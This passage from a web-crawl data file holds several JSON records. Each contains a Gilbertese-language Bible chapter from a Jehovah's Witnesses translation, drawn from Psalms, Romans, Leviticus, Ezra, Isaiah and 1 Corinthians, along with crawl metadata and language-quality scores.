karabaanna n te bong anne+Ane te kabanea n ninikoria* i buakoia taani buaka,' bon ana taeka Iehova.\"","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/amota\/2\/","date":"2018-01-23T22:15:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084892699.72\/warc\/CC-MAIN-20180123211127-20180123231127-00167.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":510,"character_repetition_ratio":0.061,"word_repetition_ratio":0.022,"special_characters_ratio":0.234,"stopwords_ratio":0.424,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n9 N te kawanibong+ ao Mote e wetea Aaron ma natina mwaane ao aia unimwaane tibun Iteraera. 2 E taku nakon Aaron: \"Anaa te kao te teei ae te mwaane ibukim bwa te karea ni kabwarabure+ ao te tiibu mwaane bwa te karea ni kabuekaki. Anai aika marurung raoi ao aanga i matan Iehova. 3 Ma ko na kangai nakoia tibun Iteraera, 'Anaa te kooti mwaane bwa te karea ni kabwarabure, ao te kao te teei ae te mwaane ao te tiibu mwaane ae ataei ae kaka teuana aia ririki aika marurung raoi bwa te karea ni kabuekaki, 4 ao te kao mwaane ao te tiibu mwaane bwa taiani karea n raoi+ bwa kam na karean i matan Iehova, ao te karea ae te amwarake+ ae renganaki ma te oera, bwa e na kaoti Iehova nakoimi n te bong aei.'\"+ 5 Mangaia are a anai baike e tua Mote nako matan te umwa ni botaki. Ao e keerake te botaki n aomata ao e tei i matan Iehova. 6 Ao e taku Mote: \"Aio te bwai ae e tua Iehova bwa kam na karaoia, bwa e aonga n oti mimitongin Iehova nakoimi.\"+ 7 E taku ngkanne Mote nakon Aaron: \"Kaania te baonikarea ao aanga am karea ni kabwarabure+ ao am karea ni kabuekaki, ao karaoia ibukini karekeani kabwaraan am bure+ ao aia bure kaaini batam, ao aanga te karea ae aia karea aomata+ ao karaoia ibukia ibukini karekeani kabwaraan aia bure,+ n aron are e tua Iehova.\" 8 E waekoa Aaron ni kaania te baonikarea ao e kamatea te kao te teei ae te mwaane are te karea ni kabwarabure ibukin ana bure.+ 9 Ao a anga te raraa natin Aaron aika mwaane+ nakoina ao e kateboa tabonibaina n te raraa ao e kabiri iai kooro ake n te baonikarea, ao e kabwaroa nikiran te raraa i oin te baonikarea.+ 10 E kabueka te mwaete ma kirine ma te mwaete are i aon te ato ake man te karea ni kabwarabure i aon te baonikarea ni kabubui, n aron are e tua Iehova nakoni Mote.+ 11 Ao e kabueka irikona ao kunna n te ai i tinanikun te kaembwa.+ 12 E kamatea ngkanne te karea ni kabuekaki Aaron ao a anganna te raraa natina mwaane, ao e katimtimmwa i aon rarikin te baonikarea ni kabutaa.+ 13 A anganna mwakorokoron te man are te karea ni kabuekaki ma matanriana, ao e kabueki ni kabubui i aon te baonikarea. 14 Ao e teboki kanoannanona ma waena ao e kabueki ni kabubui i aon te karea ni kabuekaki are i aon te baonikarea. 15 E anga ngkanne te karea ae aia karea aomata ao e anaa te kooti are te karea ni kabwarabure ibukin aia bure aomata, ao e kamatea ao e anga bwa te karea ni kabwarabure n aron are e karaoia nakon are te moan. 16 Ao e anga te karea ni kabuekaki ao e karaoia n aron tuana.+ 17 Imwina ao e anga te karea ae te amwarake+ ao e abuta teutana mai iai ni kaona baina ao e kabuekia ni kabubua i aon te baonikarea, are e anga iai te karea ni kabuekaki n te ingabong anne.+ 18 Imwin anne ao e kamatea te kao mwaane ao te tiibu mwaane Aaron, ake ibukin te karea n raoi ibukia aomata. Ao a anganna te raraa natina mwaane ao e katimtimmwa i aon rarikin te baonikarea ni kabutaa.+ 19 Ni kaineti ngkanne ma mwakorokoroni mwaeten te kao mwaane,+ bukin te tiibu mwaane ae bukina ae te mwaete, te mwaete are rabuni kanoan nanona nako, taiani kirine, ao te mwaete are i aon te ato,+ 20 a kaaki mwakorokoro ni mwaete ni kabane aikai natin Aaron aika mwaane i aoni bwabwaaia maan, ao imwina e a kabueki ni kabubui mwakorokoro ni mwaete aikai Aaron i aon te baonikarea.+ 21 Ma e katiotioi taiani bwabwaa ma te ranga are te atai Aaron bwa te karea ni katiotioaki i matan Iehova, n aron are e tua Mote.+ 22 E tabeki baina ngkanne Aaron nakoia aomata ao e kakabwaiaia,+ ao e ruo rikaaki mani karaoan te karea ni kabwarabure ao te karea ni kabuekaki ao taiani karea n raoi. 23 Ni kabaneana e rin Mote ma Aaron i nanon te umwa ni botaki, ao a otinako ao a kakabwaiaia aomata.+ E a oti ngkai mimitongin Iehova nakoia aomata ni kabane,+ 24 ao e roko te ai mairoun Iehova+ ao e kabueka te karea ni kabuekaki ma mwakorokoro ni mwaete ake i aon te baonikarea. Ngke a nora aei aomata ni kabane, ao a a tatakarua ni kukurei ao a katorobubua ni bobaraaki i aontano.+","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/nakoaia-ibonga\/9\/","date":"2018-01-23T06:30:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084891750.87\/warc\/CC-MAIN-20180123052242-20180123072242-00125.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":779,"character_repetition_ratio":0.121,"word_repetition_ratio":0.021,"special_characters_ratio":0.233,"stopwords_ratio":0.465,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n13 Ke a a aantaeka aomata* nako irouia ake a mwiokoaki n te mwaaka n tautaeka,+ bwa akea te mwaaka n tautaeka ma tii mairoun te Atua.+ E kaakiia aika tautaeka ngkai te Atua ni nneia aika kakaokoro nako.+ 2 Mangaia ae ane e kaitaraa te mwaaka n tautaeka ao e ekaanako ana babaire te Atua, ao ake a ekaanako te babaire aei a na karekei kaia iai. 3 Bwa a maakaki ake a tautaeka, tiaki irouia ake a kakaraoa ae raoiroi ma irouia ake a kakaraoa ae buakaka.+ Ao ngkoe, ko tangiria naba bwa ko na aki maaka te mwaaka n tautaeka? Teimatoa ni kakaraoa ae raoiroi,+ ao ane ko na kamoamoaaki iai irouia ake a tautaeka, 4 bwa bon tabonibain te Atua ngaiia ibukini kabwaiam. Ma ko na maaku ngkana ko karaoa ae buakaka, bwa a aki kamanena te kabaang n akea bukina. Bon tabonibain te Atua ngaiia, aika taani karekekai aika karokoa unin te Atua* i aon ane e kakaraoa ae buakaka. 5 Ma iai riki bukina ae kam riai n aantaeka iai, bwa tiaki tii ibukin te un anne ma ibukin naba mataniwin nanomi.+ 6 Anne bukina ae kam kakabwakai naba iai ami taekiti, bwa tabonibain te Atua taan tautaeka, ake a teimatoa ni beku ibukin te botannaomata. 7 Aanga bwaai akana kam bae iai irouia n tatabemania nako, ane ana bwai te taekiti anganna te taekiti,+ ane ana bwai te angabwai anganna te angabwai, ane e na maakaki maakua,+ ao ane e na karineaki karinea.+ 8 Kam na tai taarau iroun temanna n te bwai teuana,+ ma tii n te itangitangiri. Bwa ane e tangira raona n aomata ao e kakororaoa iai te tua.+ 9 Bwa e kangai te Tua, \"Ko na tai wene ni kimoa,+ ko na tai tiriaomata,+ ko na tai iraa,+ ko na tai mataai,\"+ ao ai tuua riki tabeua, ma a ikotaki i nanon te taeka ae kangai: \"Ko riai n tangira raom n aomata n aron tangiram i bon iroum.\"+ 10 E aki karaoa ae buakaka nakon temanna te tangira,+ mangaia ae te tangira boni kakororaoan te tua.+ 11 Ao karaoa aei ibukina bwa kam ataa te tai aei bwa ai te tai n uti,+ bwa e a rangi ni kaan riki kamaiuara ngkai nakon are ngke ti moan riki bwa taan onimaki. 12 E a kaan toki te bong ao e a kaan te ngaina, ai ngaia ae ti na kanakoi ana mwakuri nako te rotongitong+ ma ti na karini bwaai ni buaka aika bwain te oota.+ 13 Ti na nakonako n te aroaro ae riai+ n aron te nakonako n te ngaina, ao tiaki n te iraraang ni botaki aika akea te taubaang iai,* ma te mamanging, ma te wene ni bure, ma te aroaro ae kammaira,*+ ma te kaiangatoa, ao te bakantang.+ 14 Ma karina aroaron te Uea ae Iesu Kristo,+ ao tai bairea irakin nanon ana kaibwabwaru te rabwata.+","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/i-rom\/13\/","date":"2018-01-23T07:12:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084891750.87\/warc\/CC-MAIN-20180123052242-20180123072242-00287.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":503,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.423,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\nAna anene Tawita. 15 Iehova, antai ae e na riki bwa te iruwa n am umwanrianna? Antai ae e na maeka n am maunga ae tabu?+ 2 Bon ane e nakonako n aki bure,*+Ae e kakaraoa ae eti,+Ao e tataekina te koaua i nanona.+ 3 E aki uarao n newena,+Ao e aki karaoa ae buakaka nakon raona n aomata,+Ao e aki kabwainrangia* raoraona.+ 4 E rarawa nakoia te koraki aika rangi ni buakaka,+Ma e karineia te koraki aika maaka Iehova. E kakororaoa ana berita,* e ngae ngke e na ruanikai iai.+ 5 E aki kakatangomwane n ana mwane ma ni bakaonna,+Ao e aki butimwaea te bwai ni kamaraato bwa e na kaitaraa te aomata ae akea ana bure.+ Ane e karaoi baikai ao e na aki kaingingaki.*+","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/taian-areru\/15\/","date":"2018-01-23T04:39:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084891706.88\/warc\/CC-MAIN-20180123032443-20180123052443-00516.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":156,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.257,"stopwords_ratio":0.513,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n148 Karaoiroa Iah!* Karaoiroa Iehova mai karawa,+Karaoiroia n te tabo ae rietata. 2 Karaoiroia ngkami ni kabane aika ana anera.+ Karaoiroia ngkami ni kabane aika ana taanga ni buaka.+ 3 Karaoiroia ngkoe ae taai ao namwakaina. Karaoiroia ngkami ni kabane aika itoi aika kam ootanako.+ 4 Karaoiroia ngkoe ae karawa ae moan te rietata,*Ao ngkami raan aika i etani karawa. 5 A bia karaoiroa aran Iehova,Bwa e tua ao a bane n riki.+ 6 E kateiia ni kamatoaia n aki totoki,+Ao e anga te tua ae e na aki kona ni maunanako.+ 7 Karaoiroa Iehova man te aonnaba,Ngkami aika manin marawa aika totoa ao raan ni kabane aika makuakua, 8 Ngkoe ae te iti ma te karau ae te aiti, te tino ao naang aika matenten,Ngkoe ae te angibuaka ae uouota ana taeka,+ 9 Ngkami aika maunga ao ngkami ni kabane aika taian tabuki,+Ngkami aika kainnamwarake ao ngkami ni kabane aika kaai aika tiira,+ 10 Ngkami aika maan aika moaanti+ ao ngkami ni kabane aika maan aika manana,Ngkami aika maan aika kawakawa ao mannikiba, 11 Ngkami aika uean aonnaba ao ngkami ni kabane aika natannaomata,Ngkami aika natinuea mwaane ao ngkami ni kabane aika taani moti n te aonnaba,+ 12 Ngkami aika rorobuaka n ataei ao ateiaine,*Ao unimwaane ma ataei ni kabane.* 13 A bia karaoiroa aran Iehova,Bwa bon tii arana ae rietata ae akea ae e kona n rotia.+ E mena mimitongina i etan te aonnaba ma karawa.+ 14 E na karietatai korakoraia* ana aomata,Ibukin aia karaoiroi ana aomata ni kabane aika kakaonimaki ni koaua,Ake tibun Iteraera, ake aomata ake a kaan ma ngaia. Karaoiroa Iah!*","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/taian-areru\/148\/","date":"2018-01-17T04:28:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886794.24\/warc\/CC-MAIN-20180117023532-20180117043532-00545.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":286,"character_repetition_ratio":0.14,"word_repetition_ratio":0.0,"special_characters_ratio":0.229,"stopwords_ratio":0.434,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n9 Ngke a tia naba ngkekei ni karaoaki baikai, ao a roko irou tooka ao a taku: \"A aki kaokoroia tibun Iteraera, ibonga,* ao tibun Rewi, mairouia botannaomatan aaba ao aia mwakuri aika riribaaki,+ ake tibuni Kanaan, tibun Eta, taiani Beritaite, I-Iebuti, tibun Ammon, I-Moaba, I-Aikubita,+ ao taian Amoraite.+ 2 A anaiia tabeman natiia aine bwa buuia ao buuia natiia mwaane.+ A a tia naakai aika te kanoa* aika itiaki*+ n reitaki ma botannaomatan aaba.+ A moamoa riki n te bure n aki kakaonimaki aei tooka ao taan tautaeka aika taiani kauoman.\" 3 Ngke I ongo naba ngkekei te baei, ao I a raeuaa kunnikaiu ao au kunnikai ae akea baina, ao I routi tabeua irannatuu ma buaiu, ao I tekateka ma te buannano. 4 Ao aomata nako ake a karinei* ana taeka Atuan Iteraera a ikotaki n otabwaniniai ibukin aia aki kakaonimaki aomata ake a oki man te taenikai, ngke I tabe n tekateka ma te buannano ni karokoa tain te karea ae te amwarake n te tairiki.+ 5 Ao I teirake mani bwaibwainrangiu, n tain te karea ae te amwarake+ n te tairiki, ma kunnikaiu ae raeuaaki ao au kunnikai ae akea baina ae raeuaaki naba, ao I katorobubua ao I arori baiu nakon Iehova ae Atuau. 6 Ao I taku: \"Ngkoe ae Atuau, I namakina te maamaa ao te bwainrang n euta matau nakoim ngkoe ae Atuau, bwa a a bati ara kairua i etan atura ao a a tabukirake ara bure nako karawa.+ 7 E korakora ara bure man aia bong ara bakatibu ni karokoa te bong aei.+ Ao ibukin ara kairua, ti a kanakoaki ngaira ma ara uea ao ara ibonga, nako nanoni baia uean aaba ake tabeua, nakon te kabaang,+ nakon te kataenikaiaki,+ nakon te kuribwaiaki,+ ao nakon te bwaibwainrang, n aron ae riki n te bong aei.+ 8 Ma i nanon te tai ae kimototo ngkai, ao e a tia n roko te akoaki mairoun Iehova ae Atuara n arona ni kariaia te nikira bwa e na reke birinakoia, ao n arona n anganira te tabo ae mano raoi n ana tabo ae tabu,+ bwa e na kaotai matara Atuara ao ni kaoka korakorara teutana ngkai ti tautoronaki. 9 Bwa e ngae ngke tooro ngaira,+ ma e aki kitanira Atuara ngkai ti tautoronaki. Ma e karababaa nakoira ana tangira ae koaua* i mataia ueani Botia,+ bwa e na kaoka korakorara bwa ti aonga ni katea ana auti Atuara,+ ao ni manga katei taabo ake iai aika uruaki, ao e na anganira te oo ae te atibu* i Iuta ao i Ierutarem. 10 \"Ma tera ngkai ae ti kona n taekinna Atuara, imwini baika riki aikai? Bwa ti a tia ni kitan am tua, 11 ake ko anganira rinanoia am toro aika burabeti, ni kangai: 'Te aba ane kam nang rinnako n abanna bon te aba ae aki itiaki ibukin aki itiakia botannaomatan aaba, ibukin aia mwakuri aika riribaaki ake a kaonna iai mai tabona nako tabona, ni kamwaraia.+ 12 Mangaia ae tai anga natimi aine nakoia natiia mwaane, ao tai butimwaeia naba natiia aine ibukia natimi mwaane.+ Ao kam na bon aki naba ukera aia raoi ke mweraoia,+ bwa kam aonga n rikirake ni korakora ao n amwarake n raoiroin te aba ma n abanna ibukia natimi n aki toki.' 13 Ao imwini bwaai ni kabane aika roko i aora ibukin ara mwakuri aika bubuaka ao ara bure ae korakora, bwa ko aki katuuaaeira ngkoe ae Atuara ni kaineti ma ara kairua,+ ao ko a tia ni kariaia ngaira aika ti mena ikai bwa a na reke birinakora,+ 14 ao te koaua ngkanne bwa ti na manga urui am tua ao n imaremare ma botannaomata aika kakaraoi baika riribaaki aikai?+ Tiaki bwa ko na rangi n un iroura ao ni boni kamaunaira raoi, n akea te nikira ae ko na katikua ke te aomata temanna ae e na reke maiuna? 15 Ko raoiroi ngkoe ae Iehova ae Atuan Iteraera,+ bwa bon te nikira ngaira aika reke maiura ni karokoa te bong aei. Aikai ngaira i matam i buakon ara bure, bwa ti aki kona n tei i matam ibukin aei.\"+","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/etira\/9\/","date":"2018-01-18T08:38:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887077.23\/warc\/CC-MAIN-20180118071706-20180118091706-00455.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":706,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.401,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\nKo tangiria ni wareka te kaongora aei n %%?\nTe kaetieti nakon te mataniwi n te anene ae \"Tai Kamauna.\"\nAna areru Tawita. Mikitam.\n58 Kam kona n taekina taekan te raoiroi ngkana kam kainabwabu?+\nKam kona ni motikitaeka n te eti ngkami aika natiia aomata?+\n2 Kam aki, ma kam karioi baika buakaka i nanomi,+Ao kam karokoa te iowawa ni baimi n te aba.+\n3 A a kaman rairakinako akana buakaka mangke a bungiaki.\nBon aomata aika titibanako, taani kewe man te tai are a bungiaki iai.\n4 Titeboo aia taeka ma aia boitin naeta,+A bonotaninga n aron te naeta ae te kaobura ae bonotii taningana.\n5 E na aki ongo ni bwanaaia taani kabaea te nano,N aki ongei kakain aia tabunea.\n6 Kamrarai wia, ngkoe ae te Atua!\nOtei mwangaia raian aikai, ngkoe ae Iehova!\n7 Ke a mauna n ai aron te ran ae raanganako.\nAo ke E kabwaoua ana kainikatebe ao ni kabwakaia ni kanoan ana kainikatebe.\n8 Ke a riki n ai aron te tineeri ae e a tabe n ran ngkana e mwananga.\nA na bon aki nora taai n aron te teei ae bungiaki ni mate.\n9 Imwain ae a rotaki am bwaata ni kuuka ni kabuebuen te ai man aroka aika kateketeke,Ao ane e na ukiinako mwaanga aika maiu ao aika bue te Atua, n aron te angibuaka.+\n10 E na kimwareirei te aomata ae raoiroi ibukina bwa e a tia n nora karekeani kaia akana buakaka.+\nA na maratingo waena n raraaia.+\n11 Ao ane a na kangai aomata: \"Bon iai kaniwangan te aomata ae raoiroi.+\nAo bon iai te Atua ae motikitaeka n te aonnaba.\"+","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/taian-areru\/58\/","date":"2018-01-19T19:29:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084888113.39\/warc\/CC-MAIN-20180119184632-20180119204632-00453.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":289,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.419,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n2 Mangaia ae ngke I roko iroumi taari, ao I aki roko n anai nanomi n te rabakau n taetaenikawai,+ ke n te wanawana n taekina te bwai ae raba ae tabu+ mairoun te Atua. 2 Bwa I baireia bwa akea te bwai ae N na ataia i buakomi, ma tii taekan Iesu Kristo ma kamateana i aon te kai.+ 3 Ao I roko iroumi ma te mamaara ao te maaku ao te rurubenebene, 4 ao a aki irianaki au taetaenikawai ma au uarongorongo n taeka n rabakau aika anainano, ma a irianaki ni kaotiotan te taamnei ma te mwaaka,+ 5 bwa e aonga ni boboto ami onimaki ni mwaakan te Atua ao tiaki ni wanawanaia aomata. 6 Ma ti taekina te wanawana i buakoia akana ikawai+ n te onimaki, ma tiaki wanawanan te waaki ae ngkai i aon te aba,* ke wanawanaia taan tautaeka n te waaki ae ngkai i aon te aba, ake a nangi mauna.+ 7 Ma ti taekina wanawanan te Atua n te bwai ae raba ae tabu,+ ae te wanawana ae karabaaki, are e a kamani baireia te Atua imwain taiani waaki i aon te aba, ibukini karekeani karineara. 8 Akea temanna irouia taan tautaeka n te waaki ae ngkai i aon te aba* ae ataa te wanawana aei,+ bwa ngke arona bwa a ataia ao a na bon aki kamatea* te Uea ae mimitong. 9 Ma n aron are koreaki ni kangai: \"Baike e tuai n nori te mata ao e tuai n ongo te taninga, ao a tuai naba n ueke i nanoia aomata, boni baika e katauraoi te Atua ibukia te koraki ake a tangiria.\"+ 10 Bwa e kaotii+ nakoira te Atua rinanon taamneina,+ bwa e neneri bwaai ni kabane te taamnei ma ana bwai naba te Atua aika nano.+ 11 Bwa antai i buakoia aomata ae kona n ataa ana iango te aomata temanna? Tiaki e tii ataia oin nanona?* Mangaia ae akea naba ae e kona n atai ana iango te Atua, ma tii ae kaotiotaki rinanon taamnein te Atua. 12 Ma ti aki karekea nanon aon te aba, ma ti karekea te taamnei mairoun te Atua,+ bwa ti aonga n atai bwaai ake ti akoaki n anganaki iroun te Atua. 13 Ti aki naba taekini baikai n taeka ake ti reireinaki iai n te wanawana n aomata,+ ma n taeka ake ti reireinaki iai rinanon te taamnei,+ ngkai ti kabonganai taeka aika bwain te taamnei ni kabwarabwarai* iai bwaai n taamnei. 14 Ma e aki kona ni butimwaei* baike a kaotaki n taamnein te Atua, te aomata ae kairaki ni baike e tangiri nanona, bwa bon te nanobaba baikai irouna, ao e aki kona naba n atai, ibukina bwa a neneraki baikai rinanon te taamnei. 15 Ma e neneri bwaai ni kabane+ te aomata ae kairaki n taamnein te Atua, ma e aki neneraki arona iroun te aomata temanna. 16 Bwa \"antai ae kona n ataa ana iango Iehova,* bwa tao e na reireinna?\"+ Ma bon iai iroura ana iango Kristo.+","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/1-i-korinto\/2\/","date":"2018-01-16T14:51:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886436.25\/warc\/CC-MAIN-20180116125134-20180116145134-00681.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":520,"character_repetition_ratio":0.065,"word_repetition_ratio":0.008,"special_characters_ratio":0.242,"stopwords_ratio":0.463,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n59 Noria! E aki rangi ni kororo bain Iehova n te aro ae e a aki kona ni kakamaiu,+Ao e aki rangi ni bono* taningana n te aro ae e a aki kona n ongo.+ 2 Tiaki ngaia anne, bon ami kairua ae karaurenakoingkami ma Atuami.+ Bon ami bure ae e kairia bwa e na karabai matana mairoumi,Ao n rawa n ongo iroumi.+ 3 Bwa a kabarekaaki nanoni baimi n te raraa+Ao tabonibaimi n te bure. A taekini baika kewe riami+ ao a wirikirikia te buakaka newemi. 4 Akea ae e wewete ibukin te raoiroi,+Ao akea ae e nakon te boowi ma te koaua. A onimakina te bwai ae akea bongana+ ao a taekina te bwai ae akea uaana. A bikoukoua te kangaanga ao a bungia te bwai ae karuanikai.+ 5 A karaurei bunnimoaia naeta aika boitin naakai,Ao a rarangaa ngaon ten takareau.+ E na mate ane e kang bunnimoaia,Ao te bunnimoa are tabwenaua e na raure bwa te naeta ae te baiba. 6 E na aki riki ngaon ten takareau bwa te kunnikai,Ao a na aki rabunia n te baere a karaoia.+ A karuanikai aia mwakuri,Ao a mena i nanoni baia mwakuri n iowawa.+ 7 A biribiri waeia nakoni karaoan ae buakaka,Ao a kawaekoaia bwa a na katutua raraan te aomata ae akea ana bure.+ Aia iango bon iango aika karuanikai. E mena te uruaki ma te karawawata i nanoni kawaia.+ 8 A aki ataa kawain te raoi,Ao akea te kaetitaeka ae riai ni kawaia.+ A kabwaouai kawaia. Akea ae e toutoui ae e na ataa te raoi.+ 9 Anne bukina ae e raroanako iai te kaetitaeka ae riai mairoura,Ao e aki ooira te raoiroi. Ti teimatoa ni kantaningaa te oota ma noria! bon te rotongitong,Ti kantaningaa te oota ma ti teimatoa n nakonako n te roo.+ 10 Ti riringa te oo ni kakaae n aroia mataki. Ti teimatoa n riringi bwaai ni kakaae n aroia te koraki aika akea mataia.+ Ti tatanako ngke e kirokiro tawanou n aron ae kaanga rotongitongin te tairiki,Ao kaanga maate ngaira i buakoia aomata aika korakora. 11 Ti bane n teimatoa ni bekorara n aroia beeaAo ti tangitang n nanokawaki n aroia taobe. Ti kantaningaa te kaetitaeka ae riai, ma bon akea,Ti kantaningaa te kakamaiu, ma e raroanako mairoura. 12 Bwa a bati ara karitei i matam,+Ao a kaotioti ni kaaitaraira ara bure teuana ma teuana.+ Bwa a mena ara karitei iroura,Ti atai raoi ara kairua.+ 13 Ti bure nakon Iehova ma ni kakeaaAo ti katannako mairoun Atuara. Ti taekina te karawawata ma te karitei,+Ti bikoukoui n te nano taeka aika kewe ao ti wirikirikii taeka aika kewe aikai.+ 14 E a kaokaki te kaetitaeka ae riai,+Ao e tei te raoiroi mai kiraroa.+ Bwa e tatanako te koaua* ni maraen te kaawa,Ao e aki kona n rin te bwai ae eti. 15 E a maunanako te koaua,*+Ao e kuribwaiaki ane e rairakinako man ae buakaka. E nora aei Iehova ao e aki kukurei,*Bwa ai akea te kaetitaeka ae riai.+ 16 E noria bwa ai akea te aomata,Ao e kubanako ngkai akea temanna ae kani bubutii ibukia,Ngaia are e a karokoa te kakamaiu* anganibaina,Ao e boutokaia raoiroina. 17 Ao e karina te raoiroi i aona bwa kaanga te kunnikai ni buakaAo te bwara ni buaka ae te kamaiuaki* i aon atuna.+ E karina te kunnikai ni karekekai bwa oneana+Ao e niria n te ingaingannano bwa kaanga te kunnikai ae te kooti.* 18 E na angania kaniwangaia ibukin te bwai are a karaoia:+ Ae te un nakoia taani kakaitaraa, ao te karekekai nakoia akana kairiribai nakoina.+ Ao e na angania abamwakoro te bae a riai n anganaki. 19 A na maaka aran Iehova mani bungin taai,Ao mimitongina man otin taai,Bwa e na roko Iehova n aron te karaanga ae korakora raanganaAe e karangaa taamneina. 20 \"E na roko+ i Tion te tia Manga Kabooia,+Nakoia te koraki ake i aban Iakoba ake a rairaki man te bure,\"+ bon ana taeka Iehova. 21 \"Ni kaineti ngkanne ma ngai, aio au berita ma ngaiia,\"+ bon ana taeka Iehova. \"A na aki kona ni kanakoaki mai wim, mai wia natim,* ke mai wia tibum,* taamneiu are mena i aom ma au taeka ake I kaaki i wim,\" bon ana taeka Iehova, \"mangkai ao n aki 